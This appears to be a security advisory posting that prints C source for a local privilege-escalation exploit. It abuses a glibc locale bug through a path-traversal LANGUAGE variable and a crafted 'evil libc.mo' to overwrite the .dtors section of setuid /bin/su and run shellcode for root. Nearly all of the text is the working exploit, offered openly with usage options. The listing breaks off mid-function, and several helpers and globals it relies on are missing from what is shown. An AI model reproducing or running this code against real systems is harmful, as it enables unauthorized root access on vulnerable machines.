A new exploit has been developed that uses the bug in glibc to obtain root privileges. The exploit has been tested under RedHat 6.1, RedHat 6.2 and SuSE 6.2.
Exploit:
/*
*
* Working exploit for glibc executing /bin/su
*
* To exploit this i have used a technique that
* overwrites the .dtors section of /bin/su program
* with the address of the shellcode, so, the program
* executes it when main returns or exit() is called
*
* Thanks a lot to rwxrwxrwx <jmbr@qualys.com> for
* explaining me this technique :)
*
* The address of .dtors section can be easily obtained
* with objdump -h filename.
*
* One the address of .dtors is known, the shellcode is
* pushed in a env var with a lot of nops, and the size
* of the "piece" of stack that must be "eaten" is calculated
* with a loop. At this point, we know the exact values of
* all parameters exept the address of the shellcode, but this
* value can be guessed with a little work :)
*
* Tested on: Red Hat 6.2, 6.1
* SuSE 6.2
*
* Thanks to Chui, aViNash, RaiSe, |CoDeX|, YbY... (y todos los que me
olvido)
*
*
* Doing / localcore - doing@netsearch-ezine.com
*
*/
int main(int argc, char **argv)
{
char execbuf[1024];
unsigned long dtors_addr = 0xAABBCCDD;
unsigned long sh_addr = 0xBFFFFFFF;
FILE *f;
char *env[3];
char *args[6];
int eat = 0, pad = 0, fd;
char *nop_env;
int offset = 5000;
struct stat st;
int pid, c;
char randfile[1024];
char *args2[2], opt;
printf("glibc xploit for /bin/su - by Doing <jdoing@bigfoot.com>\n");
printf("Usage: %s [options]\n", argv[0]);
printf(" -o offset [default: 5000]\n");
printf(" -n nops [default: 12000]\n");
printf(" -m path to msgfmt [default: /usr/bin/msgfmt]\n");
printf(" -O path to objdump [default: /usr/bin/objdump]\n");
printf(" -e eat:pad set eat and pad values [default: calculate
them]\n");
printf(" -l language set language used in env var [default: search
it]\n");
printf("Enjoy!\n\n");
while ((opt = getopt(argc, argv, "o:n:m:O:e:l:")) != EOF)
switch(opt) {
case 'o':
offset = atoi(optarg);
break;
case 'n':
NOP_LEN = atoi(optarg);
break;
case 'm':
msgfmt = strdup(optarg);
break;
case 'O':
objdump = strdup(optarg);
break;
case 'e':
sscanf(optarg, "%i:%i", &eat, &pad);
break;
case 'l':
language = (char*) malloc(40 + strlen(optarg));
if (!language) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(language, 0, 40 + strlen(optarg));
sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg);
break;
default:
exit(0);
}
printf("Phase 1. Checking paths and write permisions\n");
printf(" Checking for %s...", msgfmt);
checkfor(msgfmt);
printf(" Checking for %s...", objdump);
checkfor(objdump);
printf(" Checking write permisions on /tmp...");
if (stat("/tmp", &st) < 0) {
printf("failed. cannot stat /tmp\naborting\n");
exit(0);
}
if (!(st.st_mode & S_IWOTH)) {
printf("failed. /tmp it's not +w\naborting\n");
exit(0);
}
printf("Ok\n");
fflush(stdout);
printf(" Checking read permisions on /bin/su...");
if (stat("/bin/su", &st) < 0) {
printf("failed. cannot stat /bin/su\naborting\n");
exit(0);
}
if (!(st.st_mode & S_IROTH)) {
printf("failed. /bin/su it's not +r\naborting\n");
exit(0);
}
printf("Ok\n");
fflush(stdout);
if (!language) {
printf(" Checking for a valid language...");
search_valid_language();
printf("Ok\n");
}
printf(" Checking that %s does not exist...", LC_MESSAGES);
if (stat(LC_MESSAGES, &st) >= 0) {
printf("failed. %s exists\naborting\n", LC_MESSAGES);
exit(0);
}
printf("Ok\n");
fflush(stdout);
printf("Phase 2. Calculating eat and pad values\n ");
srand(time(NULL));
if (eat || pad) printf("skkiping, values set by user to eat = %i and
pad = %i\n", eat, pad);
else {
calculate_eat_space(&eat, &pad);
printf("done\n eat = %i and pad = %i\n", eat, pad);
}
fflush(stdout);
sh_addr -= offset;
printf("Phase 3. Creating evil libc.mo and setting enviroment
vars\n");
fflush(stdout);
printf("Phase 4. Getting address of .dtors section of /bin/su\n ");
dtors_addr = get_dtors_addr();
printf("done\n .dtors is at 0x%08x\n", dtors_addr);
fflush(stdout);